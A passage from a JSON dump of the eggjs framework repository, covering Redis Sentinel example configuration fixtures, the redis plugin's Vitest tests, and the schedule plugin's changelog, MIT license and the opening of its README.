not\n# possible to set a different password in masters and slaves instances\n# if you want to be able to monitor these instances with Sentinel.\n#\n# However you can have Redis instances without the authentication enabled\n# mixed with Redis instances requiring the authentication (as long as the\n# password set is the same for all the instances requiring the password) as\n# the AUTH command will have no effect in Redis instances with authentication\n# switched off.\n#\n# Example:\n#\n# sentinel auth-pass mymaster MySUPER--secret-0123passw0rd\n\n# sentinel down-after-milliseconds <master-name> <milliseconds>\n#\n# Number of milliseconds the master (or any attached slave or sentinel) should\n# be unreachable (as in, not acceptable reply to PING, continuously, for the\n# specified period) in order to consider it in S_DOWN state (Subjectively\n# Down).\n#\n# Default is 30 seconds.\nsentinel down-after-milliseconds mymaster 30000\n\n# sentinel parallel-syncs <master-name> <numslaves>\n#\n# How many slaves we can reconfigure to point to the new slave simultaneously\n# during the failover. Use a low number if you use the slaves to serve query\n# to avoid that all the slaves will be unreachable at about the same\n# time while performing the synchronization with the master.\nsentinel parallel-syncs mymaster 1\n\n# sentinel failover-timeout <master-name> <milliseconds>\n#\n# Specifies the failover timeout in milliseconds. It is used in many ways:\n#\n# - The time needed to re-start a failover after a previous failover was\n#   already tried against the same master by a given Sentinel, is two\n#   times the failover timeout.\n#\n# - The time needed for a slave replicating to a wrong master according\n#   to a Sentinel current configuration, to be forced to replicate\n#   with the right master, is exactly the failover timeout (counting since\n#   the moment a Sentinel detected the misconfiguration).\n#\n# - The time needed to cancel a failover that is already in progress but\n#   did not produced any configuration change (SLAVEOF NO ONE yet not\n#   acknowledged by the promoted slave).\n#\n# - The maximum time a failover in progress waits for all the slaves to be\n#   reconfigured as slaves of the new master. However even after this time\n#   the slaves will be reconfigured by the Sentinels anyway, but not with\n#   the exact parallel-syncs progression as specified.\n#\n# Default is 3 minutes.\nsentinel failover-timeout mymaster 180000\n\n# SCRIPTS EXECUTION\n#\n# sentinel notification-script and sentinel reconfig-script are used in order\n# to configure scripts that are called to notify the system administrator\n# or to reconfigure clients after a failover. The scripts are executed\n# with the following rules for error handling:\n#\n# If script exits with \"1\" the execution is retried later (up to a maximum\n# number of times currently set to 10).\n#\n# If script exits with \"2\" (or an higher value) the script execution is\n# not retried.\n#\n# If script terminates because it receives a signal the behavior is the same\n# as exit code 1.\n#\n# A script has a maximum running time of 60 seconds. After this limit is\n# reached the script is terminated with a SIGKILL and the execution retried.\n\n# NOTIFICATION SCRIPT\n#\n# sentinel notification-script <master-name> <script-path>\n# \n# Call the specified notification script for any sentinel event that is\n# generated in the WARNING level (for instance -sdown, -odown, and so forth).\n# This script should notify the system administrator via email, SMS, or any\n# other messaging system, that there is something wrong with the monitored\n# Redis systems.\n#\n# The script is called with just two arguments: the first is the event type\n# and the second the event description.\n#\n# The script must exist and be executable in order for sentinel to start if\n# this option is provided.\n#\n# Example:\n#\n# sentinel notification-script mymaster /var/redis/notify.sh\n\n# CLIENTS RECONFIGURATION SCRIPT\n#\n# sentinel client-reconfig-script <master-name> <script-path>\n#\n# When the master changed because of a failover a script can be called in\n# order to perform application-specific tasks to notify the clients that the\n# configuration has changed and the master is at a different address.\n# \n# The following arguments are passed to the script:\n#\n# <master-name> <role> <state> <from-ip> <from-port> <to-ip> <to-port>\n#\n# <state> is currently always \"failover\"\n# <role> is either \"leader\" or \"observer\"\n# \n# The arguments from-ip, from-port, to-ip, to-port are used to communicate\n# the old address of the master and the new address of the elected slave\n# (now a master).\n#\n# This script should be resistant to multiple invocations.\n#\n# Example:\n#\n# sentinel client-reconfig-script mymaster /var/redis/reconfig.sh\n\n\n"
  },
  {
    "path": "plugins/redis/test/fixtures/redis/sentinel-26380.conf",
    "content": "# Example sentinel.conf\n\ndaemonize yes\n\n# port <sentinel-port>\n# The port that this sentinel instance will run on\nport 26380\n\n# sentinel announce-ip <ip>\n# sentinel announce-port <port>\n#\n# The above two configuration directives are useful in environments where,\n# because of NAT, Sentinel is reachable from outside via a non-local address.\n#\n# When announce-ip is provided, the Sentinel will claim the specified IP address\n# in HELLO messages used to gossip its presence, instead of auto-detecting the\n# local address as it usually does.\n#\n# Similarly when announce-port is provided and is valid and non-zero, Sentinel\n# will announce the specified TCP port.\n#\n# The two options don't need to be used together, if only announce-ip is\n# provided, the Sentinel will announce the specified IP and the server port\n# as specified by the \"port\" option. If only announce-port is provided, the\n# Sentinel will announce the auto-detected local IP and the specified port.\n#\n# Example:\n#\n# sentinel announce-ip 1.2.3.4\n\n# dir <working-directory>\n# Every long running process should have a well-defined working directory.\n# For Redis Sentinel to chdir to /tmp at startup is the simplest thing\n# for the process to don't interfere with administrative tasks such as\n# unmounting filesystems.\ndir /tmp\n\n# sentinel monitor <master-name> <ip> <redis-port> <quorum>\n#\n# Tells Sentinel to monitor this master, and to consider it in O_DOWN\n# (Objectively Down) state only if at least <quorum> sentinels agree.\n#\n# Note that whatever is the ODOWN quorum, a Sentinel will require to\n# be elected by the majority of the known Sentinels in order to\n# start a failover, so no failover can be performed in minority.\n#\n# Slaves are auto-discovered, so you don't need to specify slaves in\n# any way. Sentinel itself will rewrite this configuration file adding\n# the slaves using additional configuration options.\n# Also note that the configuration file is rewritten when a\n# slave is promoted to master.\n#\n# Note: master name should not include special characters or spaces.\n# The valid charset is A-z 0-9 and the three characters \".-_\".\nsentinel monitor mymaster 127.0.0.1 6379 2\n\n# sentinel auth-pass <master-name> <password>\n#\n# Set the password to use to authenticate with the master and slaves.\n# Useful if there is a password set in the Redis instances to monitor.\n#\n# Note that the master password is also used for slaves, so it is not\n# possible to set a different password in masters and slaves instances\n# if you want to be able to monitor these instances with Sentinel.\n#\n# However you can have Redis instances without the authentication enabled\n# mixed with Redis instances requiring the authentication (as long as the\n# password set is the same for all the instances requiring the password) as\n# the AUTH command will have no effect in Redis instances with authentication\n# switched off.\n#\n# Example:\n#\n# sentinel auth-pass mymaster MySUPER--secret-0123passw0rd\n\n# sentinel down-after-milliseconds <master-name> <milliseconds>\n#\n# Number of milliseconds the master (or any attached slave or sentinel) should\n# be unreachable (as in, not acceptable reply to PING, continuously, for the\n# specified period) in order to consider it in S_DOWN state (Subjectively\n# Down).\n#\n# Default is 30 seconds.\nsentinel down-after-milliseconds mymaster 30000\n\n# sentinel parallel-syncs <master-name> <numslaves>\n#\n# How many slaves we can reconfigure to point to the new slave simultaneously\n# during the failover. Use a low number if you use the slaves to serve query\n# to avoid that all the slaves will be unreachable at about the same\n# time while performing the synchronization with the master.\nsentinel parallel-syncs mymaster 1\n\n# sentinel failover-timeout <master-name> <milliseconds>\n#\n# Specifies the failover timeout in milliseconds. It is used in many ways:\n#\n# - The time needed to re-start a failover after a previous failover was\n#   already tried against the same master by a given Sentinel, is two\n#   times the failover timeout.\n#\n# - The time needed for a slave replicating to a wrong master according\n#   to a Sentinel current configuration, to be forced to replicate\n#   with the right master, is exactly the failover timeout (counting since\n#   the moment a Sentinel detected the misconfiguration).\n#\n# - The time needed to cancel a failover that is already in progress but\n#   did not produced any configuration change (SLAVEOF NO ONE yet not\n#   acknowledged by the promoted slave).\n#\n# - The maximum time a failover in progress waits for all the slaves to be\n#   reconfigured as slaves of the new master. However even after this time\n#   the slaves will be reconfigured by the Sentinels anyway, but not with\n#   the exact parallel-syncs progression as specified.\n#\n# Default is 3 minutes.\nsentinel failover-timeout mymaster 180000\n\n# SCRIPTS EXECUTION\n#\n# sentinel notification-script and sentinel reconfig-script are used in order\n# to configure scripts that are called to notify the system administrator\n# or to reconfigure clients after a failover. The scripts are executed\n# with the following rules for error handling:\n#\n# If script exits with \"1\" the execution is retried later (up to a maximum\n# number of times currently set to 10).\n#\n# If script exits with \"2\" (or an higher value) the script execution is\n# not retried.\n#\n# If script terminates because it receives a signal the behavior is the same\n# as exit code 1.\n#\n# A script has a maximum running time of 60 seconds. After this limit is\n# reached the script is terminated with a SIGKILL and the execution retried.\n\n# NOTIFICATION SCRIPT\n#\n# sentinel notification-script <master-name> <script-path>\n# \n# Call the specified notification script for any sentinel event that is\n# generated in the WARNING level (for instance -sdown, -odown, and so forth).\n# This script should notify the system administrator via email, SMS, or any\n# other messaging system, that there is something wrong with the monitored\n# Redis systems.\n#\n# The script is called with just two arguments: the first is the event type\n# and the second the event description.\n#\n# The script must exist and be executable in order for sentinel to start if\n# this option is provided.\n#\n# Example:\n#\n# sentinel notification-script mymaster /var/redis/notify.sh\n\n# CLIENTS RECONFIGURATION SCRIPT\n#\n# sentinel client-reconfig-script <master-name> <script-path>\n#\n# When the master changed because of a failover a script can be called in\n# order to perform application-specific tasks to notify the clients that the\n# configuration has changed and the master is at a different address.\n# \n# The following arguments are passed to the script:\n#\n# <master-name> <role> <state> <from-ip> <from-port> <to-ip> <to-port>\n#\n# <state> is currently always \"failover\"\n# <role> is either \"leader\" or \"observer\"\n# \n# The arguments from-ip, from-port, to-ip, to-port are used to communicate\n# the old address of the master and the new address of the elected slave\n# (now a master).\n#\n# This script should be resistant to multiple invocations.\n#\n# Example:\n#\n# sentinel client-reconfig-script mymaster /var/redis/reconfig.sh\n\n\n"
  },
  {
    "path": "plugins/redis/test/redis.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport compile from 'node:child_process';\nimport path from 'node:path';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { detectPort } from 'detect-port';\nimport { describe, it, beforeAll, afterAll, afterEach, expect } from 'vitest';\n\nfunction getFixtures(name: string) {\n  return path.resolve(import.meta.dirname, 'fixtures', name);\n}\n\nconst skip = !process.env.CI && (await detectPort(6379)) === 6379;\n\ndescribe.skipIf(skip)('test/redis.test.ts', () => {\n  describe('default config', () => {\n    let app: MockApplication;\n    beforeAll(async () => {\n      app = mm.app({\n        baseDir: getFixtures('apps/redisapp-default'),\n      });\n      await app.ready();\n    });\n    afterAll(() => app.close());\n    afterEach(mm.restore);\n\n    it('should make default config stable', () => {\n      expect(app.config.redis).toMatchSnapshot();\n    });\n\n    it('should query', async () => {\n      await app.httpRequest().get('/').expect(200).expect('bar');\n    });\n  });\n\n  describe('single client', () => {\n    let app: MockApplication;\n    beforeAll(async () => {\n      app = mm.app({\n        baseDir: getFixtures('apps/redisapp'),\n      });\n      await app.ready();\n    });\n    afterAll(() => app.close());\n    afterEach(mm.restore);\n\n    it('should query', () => {\n      return app.httpRequest().get('/').expect(200).expect('bar');\n    });\n  });\n\n  describe('weak dependent', () => {\n    let app: MockApplication;\n    beforeAll(async () => {\n      app = mm.app({\n        baseDir: getFixtures('apps/redisapp-weakdependent'),\n      });\n      await app.ready();\n    });\n    afterAll(() => app.close());\n    afterEach(mm.restore);\n\n    it('should query', () => {\n      return app.httpRequest().get('/').expect(200).expect('bar');\n    });\n  });\n\n  describe('single client supportTimeCommand = false', () => {\n    let app: MockApplication;\n    beforeAll(async () => {\n      app = mm.app({\n        baseDir: getFixtures('apps/redisapp-supportTimeCommand-false'),\n      });\n      await app.ready();\n    });\n    afterAll(() => app.close());\n    afterEach(mm.restore);\n\n    it('should query', () => {\n      return app.httpRequest().get('/').expect(200).expect('bar');\n    });\n  });\n\n  describe('single client with customize ioredis', () => {\n    let app: MockApplication;\n    beforeAll(async () => {\n      app = mm.app({\n        baseDir: getFixtures('apps/redisapp-customize'),\n      });\n      await app.ready();\n    });\n    afterAll(() => app.close());\n    afterEach(mm.restore);\n\n    it('should query', () => {\n      return app.httpRequest().get('/').expect(200).expect('bar');\n    });\n  });\n\n  describe('single client for ts', () => {\n    let app: MockApplication;\n    const destPath = getFixtures('apps/ts/redisapp-ts');\n    const compilerPath = path.resolve('./node_modules/typescript/bin/tsc');\n\n    beforeAll(async () => {\n      // Add new dynamic compiler to compile from ts to js\n      compile.execSync(`node ${compilerPath} -p ${destPath}`, {\n        cwd: destPath,\n        stdio: 'inherit',\n      });\n      app = mm.app({\n        baseDir: getFixtures('apps/ts/redisapp-ts'),\n      });\n      await app.ready();\n    });\n    afterAll(async () => {\n      // cleanup\n      compile.execSync(`node ${compilerPath} --build --clean`);\n      await app?.close();\n    });\n\n    it('should query', () => {\n      return app.httpRequest().get('/').expect(200).expect('bar');\n    });\n  });\n\n  describe('multi client for ts', () => {\n    let app: MockApplication;\n    const destPath = getFixtures('apps/ts-multi');\n    const compilerPath = path.resolve('./node_modules/typescript/bin/tsc');\n    beforeAll(async () => {\n      // Add new dynamic compiler to compile from ts to js\n      compile.execSync(`node ${compilerPath} -p ${destPath}`);\n      app = mm.app({\n        baseDir: getFixtures('apps/ts-multi/redisapp-ts'),\n      });\n      await app.ready();\n    });\n    afterAll(async () => {\n      // cleanup\n      compile.execSync(`node ${compilerPath} --build --clean`);\n      await app?.close();\n    });\n\n    it('should query', () => {\n      return app.httpRequest().get('/').expect(200).expect('bar');\n    });\n  });\n\n  // TODO: make github action support sentinel\n  describe.skip('redis sentinel', () => {\n    let app: MockApplication;\n    beforeAll(async () => {\n      app = mm.app({\n        baseDir: getFixtures('apps/redissentinelapp'),\n      });\n      await app.ready();\n    });\n    afterAll(() => app.close());\n    afterEach(mm.restore);\n\n    it('should query', () => {\n      return app.httpRequest().get('/').expect(200).expect('bar');\n    });\n  });\n\n  describe('await ready event', () => {\n    let app: MockApplication;\n    beforeAll(async () => {\n      app = mm.app({\n        baseDir: getFixtures('apps/redisapp-disable-offline-queue'),\n      });\n      await app.ready();\n    });\n    afterAll(() => app.close());\n    afterEach(mm.restore);\n\n    it('should query', () => {\n      return app.httpRequest().get('/').expect(200).expect('bar');\n    });\n  });\n\n  // TODO: make github action support redis start with path\n  describe.skip('redis path', () => {\n    let app: MockApplication;\n    beforeAll(async () => {\n      app = mm.app({\n        baseDir: getFixtures('apps/redispathapp'),\n      });\n      await app.ready();\n    });\n    afterAll(() => app.close());\n    afterEach(mm.restore);\n\n    it('should query', () => {\n      return app.httpRequest().get('/').expect(200).expect('bar');\n    });\n  });\n});\n\ndescribe('ioredis-mock', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/redisapp-mock'),\n    });\n    await app.ready();\n  });\n  afterAll(() => app.close());\n  afterEach(mm.restore);\n\n  it('should work with ioredis-mock (no real Redis needed)', () => {\n    return app.httpRequest().get('/').expect(200).expect('bar');\n  });\n\n  it('should support setex and get', async () => {\n    await app.redis.setex('test-key', 60, 'test-value');\n    const val = await app.redis.get('test-key');\n    assert.equal(val, 'test-value');\n  });\n\n  it('should support del', async () => {\n    await app.redis.set('del-key', 'val');\n    await app.redis.del('del-key');\n    const val = await app.redis.get('del-key');\n    assert.equal(val, null);\n  });\n});\n"
  },
  {
    "path": "plugins/redis/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\"\n}\n"
  },
  {
    "path": "plugins/redis/vitest.config.ts",
    "content": "import { defineConfig, type UserWorkspaceConfig } from 'vitest/config';\n\nconst config: UserWorkspaceConfig = defineConfig({\n  test: {\n    testTimeout: 30000,\n    hookTimeout: 30000,\n    globals: true,\n  },\n});\n\nexport default config;\n"
  },
  {
    "path": "plugins/schedule/.gitignore",
    "content": "logs/\nnpm-debug.log\nnode_modules/\ncoverage/\nrun/\n.vscode\n.nyc_output\n.idea\n\ntest/fixtures/symlink/runDir/app/schedule/realFile.js\ntest/fixtures/symlink/runDir/app/schedule/tsRealFile.ts\npackage-lock.json\n.tshy*\ndist\n.eslintcache\n"
  },
  {
    "path": "plugins/schedule/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 6.0.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n## [5.0.2](https://github.com/eggjs/schedule/compare/v5.0.1...v5.0.2) (2024-12-20)\n\n\n### Bug Fixes\n\n* import cron-parser default ([#64](https://github.com/eggjs/schedule/issues/64)) ([a368c5a](https://github.com/eggjs/schedule/commit/a368c5a63273d500ef660ca641019e5d1a5e07a9))\n\n## [5.0.1](https://github.com/eggjs/egg-schedule/compare/v5.0.0...v5.0.1) (2024-12-17)\n\n\n### Bug Fixes\n\n* patch runSchedule on application.unittest.ts ([#63](https://github.com/eggjs/egg-schedule/issues/63)) ([cc9488c](https://github.com/eggjs/egg-schedule/commit/cc9488c12c64fac2962825b58537445bb91489a8))\n\n## [5.0.0](https://github.com/eggjs/egg-schedule/compare/v4.0.1...v5.0.0) (2024-12-17)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 18.19.0 support\n\npart of https://github.com/eggjs/egg/issues/3644\n\n\n<!-- This is an auto-generated comment: release notes by coderabbit.ai\n-->\n## Summary by CodeRabbit\n\n- **New Features**\n- Introduced a new `Boot` class for managing agent lifecycle and\nscheduling.\n- Added `Schedule` and `ScheduleWorker` classes for managing scheduled\ntasks.\n- Implemented `AllStrategy` and `WorkerStrategy` classes for scheduling\nstrategies.\n- Added TypeScript support with updated interfaces and types for\nscheduling functionality.\n\n- **Bug Fixes**\n- Updated changelog to reflect a bug fix ensuring schedules execute\nafter the application is ready.\n\n- **Documentation**\n\t- Updated `README.md` to reflect package renaming and TypeScript usage.\n\t- Enhanced documentation with new sections and improved formatting.\n\n- **Chores**\n- Removed outdated files and configurations related to previous\nimplementations.\n- Transitioned project to TypeScript with updated configurations and\nmodule syntax.\n<!-- end of auto-generated comment: release notes by coderabbit.ai -->\n\n### Features\n\n* support cjs and esm both by tshy ([#62](https://github.com/eggjs/egg-schedule/issues/62)) ([04742eb](https://github.com/eggjs/egg-schedule/commit/04742eb2bdb8ff995029bdf912fc7c5de9a9dca8))\n\n## [4.0.1](https://github.com/eggjs/egg-schedule/compare/v4.0.0...v4.0.1) (2024-03-06)\n\n\n### Bug Fixes\n\n* schedule should execute after app ready ([#60](https://github.com/eggjs/egg-schedule/issues/60)) ([bf01a49](https://github.com/eggjs/egg-schedule/commit/bf01a49b093b4a32ee546b64be3059f0dbe65572))\n\n---\n\n\n4.0.0 / 2022-12-11\n==================\n\n**features**\n  * [[`66e7aeb`](http://github.com/eggjs/egg-schedule/commit/66e7aeb87dfc8994529ec9d8407a219461345d27)] - 📦 NEW: [BREAKING] Support localStorage to run task (#58) (fengmk2 <<fengmk2@gmail.com>>)\n\n**others**\n  * [[`7672269`](http://github.com/eggjs/egg-schedule/commit/7672269168f2a19a5e239fc58e625b32f89693cc)] - Create codeql-analysis.yml (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`bab8585`](http://github.com/eggjs/egg-schedule/commit/bab8585a64dbc7d7c0ff1c1b88b5dc544b9e8aac)] - ci: del appveyor (#57) (killa <<killa123@126.com>>)\n\n3.7.0 / 2022-09-03\n==================\n\n**features**\n  * [[`ca8b92b`](http://github.com/eggjs/egg-schedule/commit/ca8b92be7e72f3b35e80d8812d378f822f7a02b2)] - feat: add api for register/unregister schedule (#56) (killa <<killa123@126.com>>)\n\n3.6.6 / 2020-10-23\n==================\n\n**fixes**\n  * [[`3a8ef55`](http://github.com/eggjs/egg-schedule/commit/3a8ef55ff3da580f277755fdb0cca15a12fc2256)] - fix: runSchedule get filePath keep same logic with loader (#55) (mansonchor.github.com <<mansonchor@126.com>>)\n\n**others**\n  * [[`39f4aad`](http://github.com/eggjs/egg-schedule/commit/39f4aadf1f10736a4fa3cedd779a48cb329d5320)] - docs: updated README with grammatical and spelling fixes (#54) (Hridayesh Sharma <<vyasriday7@gmail.com>>)\n\n3.6.5 / 2020-09-01\n==================\n\n**fixes**\n  * [[`7ee8cb3`](http://github.com/eggjs/egg-schedule/commit/7ee8cb3696751ca30bbc3abfb3cbc06a676d2fe7)] - fix: only reject/error detect as fail (#53) (TZ | 天猪 <<atian25@qq.com>>)\n\n**others**\n  * [[`0425031`](http://github.com/eggjs/egg-schedule/commit/0425031279bc98a716671111e3f36bdd0a353017)] - docs: add module exports for custom schedule in document (#52) (Cheng Ju Wu <<sam19970416@gmail.com>>)\n  * [[`7da04fe`](http://github.com/eggjs/egg-schedule/commit/7da04fe5b3adfd572375b02f1063b8d90684743e)] - chore: Update README.md (#51) (Cheng Ju Wu <<sam19970416@gmail.com>>)\n  * [[`13f03b8`](http://github.com/eggjs/egg-schedule/commit/13f03b8681d60dfa8c9d33574cef392dc55c4b27)] - chore: Update .travis.yml (#50) (TZ | 天猪 <<atian25@qq.com>>)\n\n3.6.4 / 2019-06-12\n==================\n\n**fixes**\n  * [[`b6b17b0`](http://github.com/eggjs/egg-schedule/commit/b6b17b032582dbde6f4f9faecef3dd662726b3e2)] - fix: should use template literal (#49) (Jedmeng <<roy.urey@gmail.com>>)\n\n3.6.3 / 2019-06-03\n==================\n\n**fixes**\n  * [[`bce393f`](http://github.com/eggjs/egg-schedule/commit/bce393f66f70add9151155d16b90942bab75e89b)] - fix: wrap task should always return promise (#48) (TZ | 天猪 <<atian25@qq.com>>)\n\n3.6.2 / 2019-04-29\n==================\n\n**fixes**\n  * [[`98a0cf7`](http://github.com/eggjs/egg-schedule/commit/98a0cf78012bd138cd8b0893c1acb6527cfecf0e)] - fix: runSchedule should pass args (#47) (TZ | 天猪 <<atian25@qq.com>>)\n\n**others**\n  * [[`77fc7d3`](http://github.com/eggjs/egg-schedule/commit/77fc7d3b46d1c57acc69cb3931241f9cb8165a38)] - docs: fix ctx ref (#46) (祝传鹏 <<Luomusha@gmail.com>>)\n\n3.6.1 / 2019-03-20\n==================\n\n**others**\n  * [[`0960ff8`](http://github.com/eggjs/egg-schedule/commit/0960ff8f058c2bbb8ad2afb333bc557d719ec99b)] - chore: use relative log path (#45) (TZ | 天猪 <<atian25@qq.com>>)\n\n3.6.0 / 2018-12-18\n==================\n\n**features**\n  * [[`2c64d3c`](https://github.com/eggjs/egg-schedule/commit/2c64d3c6dd386dedaa784180ebb6c61b89fd1d53)] - feat: support custom directory (#43) (TZ <<atian25@qq.com>>)\n\n3.5.0 / 2018-12-05\n==================\n\n**features**\n  * [[`1aaf2d5`](http://github.com/eggjs/egg-schedule/commit/1aaf2d5675253d125eacca8bfd77813ecc151d2a)] - feat: support custom directory (#43) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n**fixes**\n  * [[`4dbf9d9`](http://github.com/eggjs/egg-schedule/commit/4dbf9d9d3785b19eb772704c724c421e1017922a)] - fix: unit-test in 'schedule.test.js' (#41) (Maledong <<maledong_github@outlook.com>>)\n\n**others**\n  * [[`571bf9f`](http://github.com/eggjs/egg-schedule/commit/571bf9f28ed229f957fa70067786061a89dc1049)] - doc: Add notice for the evil 'setInterval' (#42) (Maledong <<maledong_github@outlook.com>>)\n  * [[`07e4e23`](http://github.com/eggjs/egg-schedule/commit/07e4e238f198fbf935ac5e7fff279f349e11a6b5)] - docs: fix example in readme (cwtuan <<cwtuan@users.noreply.github.com>>)\n\n3.4.0 / 2018-06-30\n==================\n\n**features**\n  * [[`417a764`](http://github.com/eggjs/egg-schedule/commit/417a7643807e56a432703e64f76923b60e1053ba)] - feat: support `schedule.env` (#39) (TZ | 天猪 <<atian25@qq.com>>)\n\n3.3.0 / 2018-02-24\n==================\n\n  * feat: optimize logger msg (#38)\n\n3.2.1 / 2018-02-07\n==================\n\n  * chore: fix doctools (#37)\n\n3.2.0 / 2018-02-06\n==================\n\n**features**\n  * [[`2003369`](http://github.com/eggjs/egg-schedule/commit/200336963cdf2404b926fa1c36223c41229cf32d)] - feat: egg-schedule.log && support send with args (#35) (TZ | 天猪 <<atian25@qq.com>>)\n\n3.1.1 / 2017-11-20\n==================\n\n**fixes**\n  * [[`9ff3974`](http://github.com/eggjs/egg-schedule/commit/9ff3974683e1f4ade72ccbe2448a3c68d7826530)] - fix: use ctx.coreLogger to record schedule log (#34) (Yiyu He <<dead_horse@qq.com>>)\n\n3.1.0 / 2017-11-16\n==================\n\n**features**\n  * [[`69a588e`](https://github.com/eggjs/egg-schedule/commit/69a588e5ffbb5a01ed3084bfb9f6c2a792963db4)] - feat: run a scheduler only once at startup (#33) (zhennann <<zhen.nann@icloud.com>>)\n\n3.0.0 / 2017-11-10\n==================\n\n**others**\n  * [[`925f1c3`](http://github.com/eggjs/egg-schedule/commit/925f1c38ffb5c8d73e91fe96e6e7fc30c3f43c5f)] - refactor: remove old stype strategy support [BREAKING CHANGE] (#29) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`4cdfa20`](http://github.com/eggjs/egg-schedule/commit/4cdfa204f1da36288328bf30acb0564da1e3d1b5)] - test: change to extend Subscription (#28) (TZ | 天猪 <<atian25@qq.com>>)\n\n2.6.0 / 2017-10-16\n==================\n\n**features**\n  * [[`f901df4`](http://github.com/eggjs/egg-schedule/commit/f901df4e895d440c9d3bc96e172d3cc87be95255)] - feat: Strategy interface change to start() (#26) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`c7816f2`](http://github.com/eggjs/egg-schedule/commit/c7816f2eb8ca668c92c1671b1d149c78dd73551e)] - feat: support class (#25) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n**others**\n  * [[`8797489`](http://github.com/eggjs/egg-schedule/commit/8797489f914a34bf56ecc68575b0b7e490628b5a)] - docs: use subscription (#27) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n2.5.1 / 2017-10-11\n==================\n\n  * fix: publish files (#24)\n\n2.5.0 / 2017-10-11\n==================\n\n  * refactor: classify (#23)\n  * test: sleep after runSchedule (#22)\n\n2.4.1 / 2017-06-06\n==================\n\n  * fix: use safe-timers only large than interval && add tests (#21)\n\n2.4.0 / 2017-06-05\n==================\n\n  * feat: use safe-timers to support large delay (#19)\n\n2.3.1 / 2017-06-04\n==================\n\n  * docs: fix License url (#20)\n  * test: fix test on windows (#18)\n  * chore: upgrade all deps (#17)\n\n2.3.0 / 2017-02-08\n==================\n\n  * feat: task support async function (#13)\n  * test: move app.close to afterEach (#12)\n  * chore: upgrade deps and fix test (#11)\n\n2.2.1 / 2016-10-25\n==================\n\n  * fix: start schedule after egg-ready (#10)\n\n2.2.0 / 2016-09-29\n==================\n\n  * feat: export app.schedules (#9)\n  * doc:fix plugin.js config demo (#8)\n\n2.1.0 / 2016-08-18\n==================\n\n  * refactor: use FileLoader to load schedule files (#7)\n\n2.0.0 / 2016-08-16\n==================\n\n  * Revert \"Release 1.1.1\"\n  * refactor: use loader.getLoadUnits from egg-core (#6)\n\n1.1.0 / 2016-08-15\n==================\n\n  * docs: add readme (#5)\n  * feat: support immediate (#4)\n\n1.0.0 / 2016-08-10\n==================\n\n  * fix: correct path in ctx (#3)\n\n0.1.0 / 2016-07-26\n==================\n\n  * fix: use absolute path for store key (#2)\n  * test: add test cases (#1)\n\n0.0.1 / 2016-07-15\n==================\n\n  * init\n"
  },
  {
    "path": "plugins/schedule/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2017-present Alibaba Group Holding Limited and other contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "plugins/schedule/README.md",
    "content": "# @eggjs/schedule\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/schedule.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/schedule.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/schedule\n[snyk-image]: https://snyk.io/test/npm/@eggjs/schedule/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/schedule\n[download-image]: https://img.shields.io/npm/dm/@eggjs/schedule.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/schedule\n\nA schedule plugin for egg, has been built-in plugin for egg enabled by default.\n\nIt's fully extendable for a developer and provides a simple built-in TimerStrategy.\n\n## Usage\n\nJust add your job file to `{baseDir}/app/schedule`.\n\n```ts\n// {baseDir}/app/schedule/cleandb.ts\nimport { Subscription } from 'egg';\n\nexport default class CleanDB extends Subscription {\n  /**\n   * @property {Object} schedule\n   *  - {String} type - schedule type, `worker` or `all` or your custom types.\n   *  - {String} [cron] - cron expression, see [below](#cron-style-scheduling)\n   *  - {Object} [cronOptions] - cron options, see [cron-parser#options](https://github.com/harrisiirak/cron-parser#options)\n   *  - {String | Number} [interval] - interval expression in millisecond or express explicitly like '1h'. see [below](#interval-style-scheduling)\n   *  - {Boolean} [immediate] - To run a scheduler at startup\n   *  - {Boolean} [disable] - whether to disable a scheduler, usually use in dynamic schedule\n   *  - {Array} [env] - only enable scheduler when match env list\n   */\n  static get schedule() {\n    return {\n      type: 'worker',\n      cron: '0 0 3 * * *',\n      // interval: '1h',\n      // immediate: true,\n    };\n  }\n\n  async subscribe() {\n    await this.ctx.service.db.cleandb();\n  }\n}\n```\n\nYou can also use function simply 